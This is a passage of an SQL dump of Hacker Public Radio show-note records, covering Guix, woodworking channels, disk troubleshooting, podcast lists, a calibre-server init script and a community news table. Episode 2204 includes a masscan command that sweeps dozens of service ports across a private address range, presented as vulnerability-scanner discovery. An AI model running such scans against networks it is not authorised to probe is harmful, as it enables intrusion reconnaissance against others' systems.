drive.</p>\r\n<p>DMD, the Daemon-Managing Daemon that was at the core of GuixSD, is now <a href=\"https://www.gnu.org/software/shepherd/\">Shepherd</a>, and still at the core of GuixSD.</p>\r\n<p>Chris\'s project <a href=\"https://www.gnu.org/software/8sync/\">8Sync</a> is at version 0.2 and has a real GNU homepage (generated from S-expressions by <a href=\"https://haunt.dthompson.us/\">Haunt</a>!) and Guile 2.2 is closer than ever. 8Sync 0.2 uses some experimental features available in Guile 2.1 snapshots.</p>\r\n<p><a href=\"https://www.gnu.org/software/guix/donate/\">Guix</a> and <a href=\"https://sfconservancy.org/supporter/\">Software Conservancy</a> still need your money (<a href=\"https://my.fsf.org/civicrm/contribute/transact?reset=1&amp;id=50\">The FSF accepts Bitcoin!</a>), and <a href=\"https://fosdem.org/\">FOSDEM</a> is still, or again, around the corner. I won\'t be going there this year, though, due to scheduling conflicts.</p>\r\n<p>On my latest laptop I\'m running NixOS and it\'s running just great. My Guix VM on the other machine is no longer running Enlightenment, now that GNOME is ready. :-)</p>\r\n<p>I haven\'t fixed clusterssh in either Nix nor Guix, but <a href=\"https://github.com/dennishafemann/tmux-cssh\">tmux-cssh</a> works pretty great too!</p>\r\n<p>Someone should still write <code>guix-bisect</code>!</p>\r\n<p>GuixOps has been dormant during 2016, but as late as two months ago there was some <a href=\"https://lists.gnu.org/archive/html/guix-devel/2016-10/msg00838.html\">slight movement on the mailing list</a>.</p>\r\n<p>Links to various things and people mentioned in the show:</p>\r\n<ul>\r\n<li>Chris Webber: <a href=\"https://dustycloud.org/\">blog</a> <a href=\"https://identi.ca/cwebber\">pump.io</a><ul>\r\n<li><a href=\"dustycloud.org/misc/guile/tutorial.html\">Chris\'s Guile tutorial</a></li>\r\n</ul>\r\n</li>\r\n<li><a href=\"https://www.gnu.org/s/guile/\">Guile</a><ul>\r\n<li><a href=\"https://www.gnu.org/savannah-checkouts/gnu/guile/docs/guile-tut/tutorial.html\">Official Guile tutorial</a></li>\r\n</ul>\r\n</li>\r\n<li>Arne Babenhauserheide <a href=\"https://www.draketo.de/light/english\">homepage/blog</a> <a href=\"https://sn.1w6.org/drak\">OStatus</a> <ul>\r\n<li><a href=\"https://draketo.de/proj/wisp/\">WISP</a>, S-expressions without so many parentheses</li>\r\n</ul>\r\n</li>\r\n<li><a href=\"https://www.gnu.org/s/guix/\">Guix and GuixSD</a></li>\r\n<li><a href=\"https://nixos.org/\">Nix and NixOS</a></li>\r\n<li>Andy Wingo: <a href=\"https://wingolog.org/\">blog</a> <a href=\"https://twitter.com/andywingo\">twitter</a> <a href=\"https://github.com/wingo\">github</a></li>\r\n<li>Mark Weaver: <a href=\"https://savannah.gnu.org/users/mhw\"></a><a href=\"https://savannah.gnu.org/users/mhw\">https://savannah.gnu.org/users/mhw</a> is as good as it gets, it seems.</li>\r\n<li>Ludovic Courtès: <a href=\"https://web.fdn.fr/~lcourtes/ludo-3.html\">home page</a>, you can see under <a href=\"https://web.fdn.fr/~lcourtes/ludo-3.html#soft\">software</a> that Chris was right about him being on Nix first, before he created Guix. :-)</li>\r\n<li>David Thompson <a href=\"https://dthompson.us/\">homepage</a> <a href=\"https://quitter.se/davexunit\">OStatus</a></li>\r\n<li><a href=\"https://mitpress.mit.edu/sicp/full-text/book/book.html\">SICP</a><ul>\r\n<li><a href=\"https://mitpress.mit.edu/sicp/full-text/book/book-Z-H-10.html#%_sec_1.1\">A means of composition and a means of abstraction</a></li>\r\n</ul>\r\n</li>\r\n<li><a href=\"https://docs.hylang.org/en/latest/\">hy</a>, a LISP hosted in Python</li>\r\n<li><a href=\"https://mitpress.mit.edu/books/reasoned-schemer\">The Reasoned Schemer</a> is a dead-trees book.</li>\r\n<li>Actually there is a package manager for Guile called <a href=\"https://github.com/ijp/guildhall\">guildhall</a>, but the latest commit was in 2015 (by Arne Bab, mentioned above!), and the trend to put Guile packages right into Guix seems to continue. There is also a generic Scheme package repository called <a href=\"https://snow-fort.org/pkg\">Snow</a>, but it doesn\'t seem to support guile, at least not officially.</li>\r\n</ul>',311,0,1,'CC-BY-SA','guix, linux, sysadmin, os, package management, nix, scheme, guile',0,0,1),
(2201,'2017-01-09','Matthew \"Lord Drachenblut\" Williams',2292,'HPR Community members remember the digital dragon','<p>\r\nEulogies for Lord Drachenblut, including:\r\n</p>\r\n<ul>\r\n<li>Klaatu</li>\r\n<li>Randy Noseworthy</li>\r\n<li>ClaudioM</li>\r\n<li>Brian Proffitt &#40;writing for <a href=\"https://communityblog.fedoraproject.org/remembering-matthew-williams/\" target=\"_blank\">Fedora Project</a>&#41;</li>\r\n<li>Ahuka</li>\r\n<li>Joe C. Hecht &#40;ref&#58; <a href=\"https://plus.google.com/101542819146828378581\" target=\"_blank\">google+</a>&#41;</li>\r\n<li>Lostnbronx</li>\r\n<li>Knightwise</li>\r\n</ul>\r\n\r\n<p>Incidental music by <a href=\"https://archive.org/details/mgr111SeveredFifth-Liberate\" target=\"_blank\">Severed Fifth</a></p>',159,0,1,'CC-BY-SA','Lord Drachenblut',0,0,1),
(2202,'2017-01-10','Makers on YouTube',1487,'I am trying to learn to make various things and am watching YouTube to find information','<h1 id=\"makers-on-youtube\">Makers on YouTube</h1>\r\n<h2 id=\"introduction\">Introduction</h2>\r\n<p>I have always enjoyed making stuff. I was born and brought up in the 1940’s and 1950’s when the UK was recovering from WW2, and in my experience everyone I knew repaired and made stuff. Most of them grew their own food as well.</p>\r\n<p>I have never been particularly good at making stuff, but I have built some basic furniture, built storage solutions for the house, built a rabbit hutch and run for my children’s pets, and so on and so forth.</p>\r\n<p>In high school, even though I went to a Grammar School, all boys attended mandatory lessons on metalwork and woodwork. We learnt how to use hand tools and some power tools, make joints in wood, we also learnt to do basic metal work like soldering and brazing, and so forth.</p>\r\n<p>Learning this stuff at school was great but I have used the woodworking techniques more than the metalwork - other than soldering.</p>\r\n<p>I stopped watching TV in 2013, preferring reading and listening to podcasts. In recent times I have subscribed to a number of YouTube channels which share woodworking and metalworking techniques and projects. In general these people are Makers and Artists who can turn their hands to many skills. I thought I would share some of my favourites via HPR.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have written out a moderately long set of notes for this episode and these are available here <a href=\"https://hackerpublicradio.org/eps/hpr2202/full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2202/full_shownotes.html</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>YouTube Channels:\r\n<ul>\r\n<li><a href=\"https://www.youtube.com/channel/UCc3EpWncNq5QL0QhwUNQb7w\">Paul Sellers</a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UC3_VCOJMaivgcGqPCTePLBA\">Frank Howarth</a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCiEk4xHBbz0hZNIBBpowdYQ\">Jimmy DiResta</a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCckETVOT59aYw80B36aP9vw\">Matthias Wandel</a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UC6x7GwJxuoABSosgVXDYtTw\">I Like To Make Stuff</a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCDpL0v-Ifie7u05lbfO3zJQ\">Matthew Cremona</a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UC-7XY-W_C84cW2MNqujgFpg\">Jay Bates</a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCOUFSlpGiL9I3jPbt0vcI0A\">Jon Peters Art &amp; Home</a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCtaykeSsGhtn2o2BsPm-rsw\">Make Something</a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCCsdIja21VT7AKkbVI5y8bQ\">Alain Vaillancourt</a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UC4v2tQ8GqP0RbmAzhp4IFkQ\">April Wilkerson</a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCrbGKAwkVaQmTowmTYBm5Vg\">Nick Ferry</a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCIrtu3uSwehD0pfmfMsHhUA\">Darbin Orvar</a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCn7lavsPdVGV0qmEEBT6NyA\">Marius Hornberger</a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCRix1GJvSBNDpEFY561eSzw\">Laura Kampf</a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCETeXD_3awsQv-9rSdCYXQQ\">Get Hands Dirty</a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCjA8vRlL1c7BDixQRJ39-LQ\">John Heisz</a></li>\r\n</ul></li>\r\n<li>Podcasts\r\n<ul>\r\n<li><a href=\"https://feeds.podtrac.com/bQsxC5qCMadt\">BrainPick</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/MakingItWithJimmyDirestaBobClagettAndDavidPicciuto\">Making It With Jimmy Diresta, Bob Clagett and David Picciuto</a></li>\r\n<li><a href=\"https://feeds.soundcloud.com/users/soundcloud:users:184343600/sounds.rss\">Reclaimed Audio Podcast</a></li>\r\n<li><a href=\"https://www.thewoodworkingpodcast.com/feed/podcast/\">The Woodworking Podcast</a></li>\r\n</ul></li>\r\n</ul>',225,0,1,'CC-BY-SA','making, youtube, podcast',0,0,1),
(2203,'2017-01-11','NOT SO SMART',464,'How I am failing at troubleshooting disk I O issues','<!-- Processed by make_markdown V0.0.4 -->\r\n<p>(tracer32.exe) and LogExpert <code>regex (warn|\\berr|fail|unabl|can|not|fault)</code></p>\r\n<pre><code>rsync --info=progress2 ( need to compile from source ... )</code></pre>\r\n<ul>\r\n<li><a href=\"https://techtitbits.com/2010/04/get-rid-of-freeze-ups-during-disk-io-activity-in-ubuntu/\" class=\"uri\">https://techtitbits.com/2010/04/get-rid-of-freeze-ups-during-disk-io-activity-in-ubuntu/</a></li>\r\n<li><a href=\"https://blog.vacs.fr/vacs/blogs/post.html?post=2010/08/28/Solving-Linux-system-lockup-when-intensive-disk-I/O-are-performed\" class=\"uri\">https://blog.vacs.fr/vacs/blogs/post.html?post=2010/08/28/Solving-Linux-system-lockup-when-intensive-disk-I/O-are-performed</a></li>\r\n<li><a href=\"https://www.howtoeverything.net/linux/hardware/ubuntu-freeze-issue-after-ssd-upgrade\" class=\"uri\">https://www.howtoeverything.net/linux/hardware/ubuntu-freeze-issue-after-ssd-upgrade</a></li>\r\n<li><a href=\"https://download.gigabyte.us/FileList/BIOS/motherboard_bios_ga-ep43-ud3l_f9.exe\" class=\"uri\">https://download.gigabyte.us/FileList/BIOS/motherboard_bios_ga-ep43-ud3l_f9.exe</a></li>\r\n<li><a href=\"https://downloads.wdc.com/fwupdater/Win/WDFirmwareUpdater.zip\" class=\"uri\">https://downloads.wdc.com/fwupdater/Win/WDFirmwareUpdater.zip</a></li>\r\n</ul>\r\n<pre><code>grub-install --force --removable --boot-directory=/s/boot /dev/sdd\r\n\r\ngrub-mkconfig -o /s/boot/grub.cfg</code></pre>\r\n<p>boot.ini ?!?!? ..( never could figure out how to boot my windows XP part from GRUB ...thought this would help with no luck )</p>\r\n<pre><code>multi(0)disk(0)rdisk(0)partition(2)\\WINXP=\"Microsoft Windows XP Professional\"\r\nmulti(0)disk(0)rdisk(1)partition(2)\\WINXP=\"Microsoft Windows XP Professional\"\r\nmulti(0)disk(0)rdisk(2)partition(2)\\WINXP=\"Microsoft Windows XP Professional\"\r\nmulti(0)disk(0)rdisk(3)partition(2)\\WINXP=\"Microsoft Windows XP Professional\"\r\nmulti(0)disk(0)rdisk(4)partition(2)\\WINXP=\"Microsoft Windows XP Professional\"</code></pre>\r\n<ul>\r\n<li><a href=\"https://askubuntu.com/questions/397249/system-freezes-unresponsive-unusable-when-copying-large-file-to-usb\" class=\"uri\">https://askubuntu.com/questions/397249/system-freezes-unresponsive-unusable-when-copying-large-file-to-usb</a></li>\r\n</ul>\r\n<pre><code>tune2fs -c 1 ( check drives on boot )</code></pre>\r\n<p>Linux provides other I/O schedulers such as the Noop scheduler, the Anticipatory scheduler and the Deadline scheduler.</p>\r\n<pre><code>Dec 31 14:59:46 plexserver console-kit-daemon[1463]: missing action\r\nDec 31 15:01:45 plexserver smartd[1038]: Device: /dev/sda [SAT], SMART Usage Attribute: 194 Temperature_Celsius changed from 113 to 112\r\nDec 31 15:01:45 plexserver smartd[1038]: Device: /dev/sdc [SAT], SMART Usage Attribute: 194 Temperature_Celsius changed from 112 to 111</code></pre>\r\n<p>40-50C range are optimal.</p>\r\n',36,0,0,'CC-BY-SA','troubleshooting,ubuntu',0,0,1),
(2204,'2017-01-12','MASSCAN',503,'MASSCAN FOR THE 10 DOTS O M G','<p>I chat about my issues with our vuln scanner and destroy the discovery scan times from 5-8 days to 1hr with Masscan.</p>\r\n<ul>\r\n<li><p><a href=\"https://github.com/robertdavidgraham/masscan/issues/262\">bug ? / workaround</a></p></li>\r\n<li><p>my current cmdline</p></li>\r\n</ul>\r\n<pre><code>masscan   -p21,22,23,25,53,80,88,110,111,113,135,139,143,220,264,389,443,445,449,524,585,636,993,995,1433,1521,1723,3306,3389,5900,8080    --rate=14114 --open --excludefile BLACKLIST --ping  172.16.0.0/12 -oX  172.xml</code></pre>\r\n',36,0,1,'CC-BY-SA','nmap, masscan, vulnerability, scanners',0,0,1),
(2205,'2017-01-13','Quick Tips Roomba and silicone Packets',421,'Quick Tips Roomba Cleaning and Silicone Packet reuse','<ul>\r\n<li>First bit is about Roomba and keeping them clean and happy!</li>\r\n<li>2nd bit is about reusing Silicone Packets by baking them in the toaster oven!</li>\r\n</ul>\r\n',36,0,1,'CC-BY-SA','Roomba, Silicone',0,0,1),
(2206,'2017-01-16','Podcasts I Listen To',967,'Current podcasts that I listen to on my Android devices.','<p>Podcasts:</p>\r\n<ol type=\"1\">\r\n<li><a href=\"https://feeds.feedburner.com/systemau-ogg\">SystemAU</a> - Australian Linux Perspective with Music</li>\r\n<li><a href=\"https://atp.fm/episodes?format=rss\">Accidental Tech Podcast</a> - Apple Computers/Programs</li>\r\n<li><a href=\"https://feeds.feedburner.com/AndroidCentralPodcast\">Android Central Podcast</a> - Android Devices</li>\r\n<li><a href=\"https://bleedtv.podbean.com/feed/rss/\">BleedTV Podcast</a> - TV Info</li>\r\n<li><a href=\"https://feeds.feedburner.com/dancarlin/commonsense?format=xml\">Common Sense with Dan Carlin</a></li>\r\n<li><a href=\"https://feeds.feedburner.com/dancarlin/history?format=xml\">Dan Carlin\'s Hard Core History</a> - History Lessons</li>\r\n<li><a href=\"https://hackerpublicradio.org/rss.php?html=1&amp;format=ogg\">Hacker Public Radio</a></li>\r\n<li><a href=\"https://espn.go.com/espnradio/feeds/rss/podcast.xml?id=9545077\">Jalen &amp; Jacoby</a> - ESPN Sports Guys</li>\r\n<li><a href=\"https://lastmenpodcast.libsyn.com/rss\">Last Men on Earth</a> - 2 Dudes Being Crude over Alcohol</li>\r\n<li><a href=\"https://www.linuxvoice.com/podcast_ogg.rss\">Linux Voice</a> - Linux Guys talking Linux</li>\r\n<li><a href=\"https://feeds.feedburner.com/linuxfortherestofus\">Linux for the Rest of US</a> - Door to Door Geek &amp; Cody Cooper</li>\r\n<li><a href=\"https://mintcast.org/category/ogg/feed\">MintCast</a> - About Linux Mint from the Linux Mint Community</li>\r\n<li><a href=\"https://feeds.feedburner.com/motr\">MobileTech Roundup</a> - Kevin Tofel &amp; Mat Miller talking mobile devices</li>\r\n<li><a href=\"https://feeds.feedburner.com/LinuxLudditesOgg\">Linux Luddites</a> - Linux Talk From Cranky Dudes</li>\r\n<li><a href=\"https://feed.nashownotes.com/rss.xml\">No Agenda</a> - John Dvorak &amp; Adam Curry Deconstruct the News</li>\r\n<li><a href=\"https://espn.go.com/espnradio/feeds/rss/podcast.xml?id=2406595\">PTI</a> - Tony Kornheiser and Michael Wilbon Talking Sports</li>\r\n<li><a href=\"https://www.howstuffworks.com/podcasts/stuff-you-missed-in-history-class.rss\">Stuff You Missed in History Class</a> - Short, Concise History Lesson</li>\r\n<li><a href=\"https://talkingtvwithryanandryan.libsyn.com/rss\">Talking TV with Ryan &amp; Ryan</a> - 2 TV Critics</li>\r\n<li><a href=\"https://www.televisionzombies.com/podcast/podcast.xml\">Television Zombies</a> - 4 Friends Talking SF and Fantasy TV</li>\r\n<li><a href=\"https://feeds.feedburner.com/TheLinuxLinkTechShowOgg-vorbisFeed\">TLLTS</a> - The Linux Link Tech Show</li>\r\n<li><a href=\"https://daringfireball.net/thetalkshow/rss\">The Talk Show with John Gruber</a> - Daring Fireball/Apple Topics</li>\r\n<li>The Tony Kornheiser Show - Sports, Life, Politics, Movies, etc.</li>\r\n<li><a href=\"https://www.whedonopolis.com/feed/\">TV Campfire Podcasts</a> - TV Bloggers &amp; TV Industry Pros Talking TV</li>\r\n<li><a href=\"https://feeds.theincomparable.com/tvtm\">TV Talk Machine w/ Tom Goodman &amp; Jason Snell</a> - TV Industry</li>\r\n<li><a href=\"https://tvtimesthree.com/feed/\">TV Times Three</a> - TV Bloggers Talking Up their Favorite Shows</li>\r\n<li><a href=\"https://feeds.ubuntupodcast.org/ogg\">The Ubuntu Podcast</a> - Ubuntu Linux Plus other Distros/Linux Info</li>\r\n<li><a href=\"https://smellsmellsmell.com/feed/podcast/\">I Can\'t Believe this S*hit</a> - 2 Politically Incorrect Dudes Talking Junk</li>\r\n</ol>',348,75,0,'CC-BY-SA','feed,podcast',0,0,1),
(2207,'2017-01-17','NATO phonetic alphabet',478,'Neighbourly greetings. We cover the title, podcast recommendations, and well wishes.','<p>NATO phonetic alphabet in block diagram:</p>\r\n<p>[ English 26 letter alphabet ] --&gt; [ Phonetic Function Box-machine-phone ] --&gt; [ Output ]</p>\r\n<pre><code>A - Alfa\r\nB - Bravo\r\nC - Charlie\r\nD - Delta\r\nE - Echo\r\nF - Foxtrot\r\nG - Golf\r\nH - Hotel\r\nI - India\r\nJ - Juliett\r\nK - Kilo\r\nL - Lima\r\nM - Mike\r\nN - November\r\nO - Oscar\r\nP - Papa\r\nQ - Quebec\r\nR - Romeo\r\nS - Sierra\r\nT - Tango\r\nU - Uniform\r\nV - Victor\r\nW - Whiskey\r\nX - X-Ray\r\nY - Yankee\r\nZ - Zulu\r\n~ - ~\r\n0 - Zero\r\n1 - One\r\n2 - Two\r\n3 - Three\r\n4 - Four\r\n5 - Five\r\n6 - Six\r\n7 - Seven\r\n8 - Eight\r\n9 - Niner</code></pre>\r\n<p>Mike India Charlie Romeo Oscar Bravo Echo FULL-STOP Tango Victor</p>\r\n<p>Charlie Oscar November Golf Romeo Echo Sierra Sierra India Oscar November Alfa Lima Delta India Siera Hotel FULL-STOP Charlie Oscar Mike</p>\r\n<p>X-Ray BREAK Mike India November Uniform Sierra BREAK Oscar November Echo</p>\r\n<p>Hotel Alfa Charlie Kilo Echo Romeo BREAK Papa Uniform Bravo Lima India Charlie BREAK Romeo Alfa Delta India Oscar</p>\r\n<p>Please take care, TTFN, neighbor.</p>\r\n<p>rttykitty</p>\r\n',349,0,0,'CC-BY-SA','NATO,Phonetic,NatoPhonetic',0,0,1),
(2209,'2017-01-19','Calibre eBook Server',750,'A quick rundown of how to share your ebook Library on your network using calibre-server','<p>You can share your <a href=\"https://calibre-ebook.com/\" target=\"_blank\">Calibre</a> ebook library by running the <a href=\"https://manual.calibre-ebook.com/generated/en/calibre-server.html\"><code>calibre-server</code></a> daemon, either from your desktop machine or on a server that is available on your local network. (Or, if you have it set up that way, it can be outward-facing to the wide world.)</p>\r\n\r\n<p>To share your library from the desktop Calibre application, choose <code>Connect/share</code> from the menu at the top of the window, then choose <code>Start Content Server</code>. Make a note of the IP address and port, and then you can use other devices on your network to access the library at that address. Normally I use the \"Get Books\" function of the <a href=\"https://www.appstafarian.com/marvin.html\" target=\"_blank\">Marvin</a> ebook app on my iPad, or else the \"Experimental Browser\" on my Kindle and download the books directly to the devices. On my Android phone, I use the Chrome browser and then long press on the link to an Epub file, choose to save to device, and then open it using <a href=\"https://fbreader.org/\" target=\"_blank\">FBreader</a>.</p>\r\n\r\n<p>To share the library from your GNU/Linux server, you\'ll have to install Calibre on the server and then put a copy of your ebook Library on the server as well. To start and stop the server daemon, you need to put a service startup script in the <code>/etc/init.d</code> directory with all of the other system startup scripts. An example is given below&mdash;fill in with the appropriate paths and user data for your setup. (See the <a href=\"https://manual.calibre-ebook.com/generated/en/calibre-server.html\" target=\"_blank\">calibre-server user manual</a> for a full list of options and their descriptions.) When the script is in place and has executable permissions, you start and stop the service as follows (as root):</p>\r\n\r\n<pre>\r\nservice calibre-server start|stop|restart\r\n</pre>\r\n\r\n<h2>Service Startup Script</h2>\r\n\r\n<pre>\r\n#!/bin/bash\r\n\r\nCALIBRE_LIBRARY_PATH=&quot;/path/to/CalibreLibrary&quot;\r\nPIDFILE=/tmp/calibre-server.pid\r\nUSER=&lt;run_as_user&gt;        # run daemon as this user\r\nLOGIN=&lt;end_user_username&gt; # to log into library (optional)\r\nPW=&lt;password&gt;             # to log into library (optional)\r\nPORT=3456\r\n\r\nstart() {\r\n        echo &quot;Starting Calibre server...&quot;\r\n        su -c &quot;calibre-server --with-library=\\&quot;$CALIBRE_LIBRARY_PATH\\&quot; --username=$LOGIN --password=$PW -p $PORT --pidfile=$PIDFILE --daemonize&quot; &amp; \r\n        if [ $? -ne 0 ]; then\r\n                echo &quot;Could not start calibre-server.&quot;\r\n        fi\r\n}\r\n\r\nstop() {\r\n        echo &quot;Stopping Calibre server...&quot;\r\n        if [ -e $PIDFILE ]; then\r\n                read PID &lt; $PIDFILE\r\n                ps aux | grep &quot;$PID&quot; | grep \'calibre-server\' &gt; /dev/null\r\n                RUNNING=$?\r\n                if [ $RUNNING -eq 0 ]; then\r\n                        kill $PID\r\n                        if [ $? -eq 0 ]; then\r\n                                rm $PIDFILE\r\n                        fi\r\n                else\r\n                        echo &quot;Could not find a calibre-server process with PID $PID.&quot;\r\n                fi\r\n        else\r\n                echo &quot;Could not find pidfile: $PIDFILE&quot;\r\n        fi\r\n}\r\n\r\nrestart() {\r\n        stop\r\n        start\r\n}\r\n\r\nstatus() {\r\n        if [ -e $PIDFILE ]; then\r\n                read PID &lt; $PIDFILE\r\n                echo &quot;calibre-server is running with PID $PID.&quot;\r\n        else\r\n                echo &quot;calibre-server is not running.&quot;\r\n        fi\r\n}\r\n\r\nunknown() {\r\n        echo &quot;Unrecognized command: $1&quot;\r\n        echo &quot;Try one of the following: (start|stop|restart|status)&quot;\r\n}\r\n\r\ncase $1 in\r\n        start ) \r\n                start\r\n                ;;\r\n        stop )\r\n                stop\r\n                ;;\r\n        restart )\r\n                restart\r\n                ;;\r\n        status )\r\n                status\r\n                ;;\r\n        * )\r\n                unknown\r\n                ;;\r\nesac\r\n</pre>\r\n\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n	<li><a href=\"https://calibre-ebook.com/\" target=\"_blank\">Calibre</a> ebook Management Software</li>\r\n	<li><a href=\"https://www.appstafarian.com/marvin.html\" target=\"_blank\">Marvin</a> ebook app for iOS</li>\r\n	<li><a href=\"https://fbreader.org/\" target=\"_blank\">FBreader</a> open-source multi-platform ebook reader.</li>\r\n</ul>',238,0,0,'CC-BY-SA','ebooks, home servers, sharing',0,0,1),
(2210,'2017-01-20','On Freedom of Speech and Censorship',1302,'Reflections on Freedom of Speech ','<p>In this episode, I discuss some of issues that can arise with Freedom of Speech, as well as some of the finer points of what constitutes &quot;censorship&quot;.</p>\r\n',325,0,1,'CC-BY-SA','Freedom of Speech, Censorship',0,0,1),
(2213,'2017-01-25','Clay Body',652,'Basic clay theory','<p>Before we create ceramics, we will begin with some basic theory.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<p><small><em>Added by HPR Admins after the show was released</em></small></p>\r\n<ul>\r\n<li>Wikipedia article on <a\r\nhref=\"https://en.wikipedia.org/wiki/Clay\"><em>Clay</em></a></li>\r\n<li>Wikipedia article on <a\r\nhref=\"https://en.wikipedia.org/wiki/Clay_minerals\"><em>Clay\r\nMinerals</em></a></li>\r\n<li>Wikipedia article on <a\r\nhref=\"https://en.wikipedia.org/wiki/Kaolinite\"><em>Kaolinite</em></a></li>\r\n<li>Wikipedia article on <a\r\nhref=\"https://en.wikipedia.org/wiki/Feldspar\"><em>Feldspar</em></a></li>\r\n</ul>\r\n\r\n',329,0,1,'CC-BY-SA','clay,pottery,porcelain,ceramic',0,0,1),
(2481,'2018-02-05','HPR Community News for January 2018',4509,'HPR Volunteers talk about shows released and comments posted in January 2018','\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=360\" target=\"_blank\">Joey Hess</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2456\" target=\"_blank\">2456</a></strong></td>\n    <td>Mon</td>\n    <td>2018-01-01</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2456\" target=\"_blank\">HPR Community News for December 2017</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2457\" target=\"_blank\">2457</a></strong></td>\n    <td>Tue</td>\n    <td>2018-01-02</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2457\" target=\"_blank\">Getting ready for my new Macbook Pro</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">knightwise</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2458\" target=\"_blank\">2458</a></strong></td>\n    <td>Wed</td>\n    <td>2018-01-03</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2458\" target=\"_blank\">Chrome Plugins You Must Have</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2459\" target=\"_blank\">2459</a></strong></td>\n    <td>Thu</td>\n    <td>2018-01-04</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2459\" target=\"_blank\">free software\'s long tail</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=360\" target=\"_blank\">Joey Hess</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2460\" target=\"_blank\">2460</a></strong></td>\n    <td>Fri</td>\n    <td>2018-01-05</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2460\" target=\"_blank\">The Alien Brothers Podcast - S01E03 - Decline of American Empire</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=359\" target=\"_blank\">The Alien Brothers Podcast (ABP)</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2461\" target=\"_blank\">2461</a></strong></td>\n    <td>Mon</td>\n    <td>2018-01-08</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2461\" target=\"_blank\">Gitolite</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2462\" target=\"_blank\">2462</a></strong></td>\n    <td>Tue</td>\n    <td>2018-01-09</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2462\" target=\"_blank\">AudioBookClub-14-Triplanetary-(First-in-the-Lensman-Series)</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\" target=\"_blank\">HPR_AudioBookClub</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2463\" target=\"_blank\">2463</a></strong></td>\n    <td>Wed</td>\n    <td>2018-01-10</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2463\" target=\"_blank\">Setting up a 32 Bit Ubuntu Server</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2464\" target=\"_blank\">2464</a></strong></td>\n    <td>Thu</td>\n    <td>2018-01-11</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2464\" target=\"_blank\">The Alien Brothers Podcast - S01E04 - Digital Instruments</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=359\" target=\"_blank\">The Alien Brothers Podcast (ABP)</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2465\" target=\"_blank\">2465</a></strong></td>\n    <td>Fri</td>\n    <td>2018-01-12</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2465\" target=\"_blank\">TronScript where have you been all my life!</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2466\" target=\"_blank\">2466</a></strong></td>\n    <td>Mon</td>\n    <td>2018-01-15</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2466\" 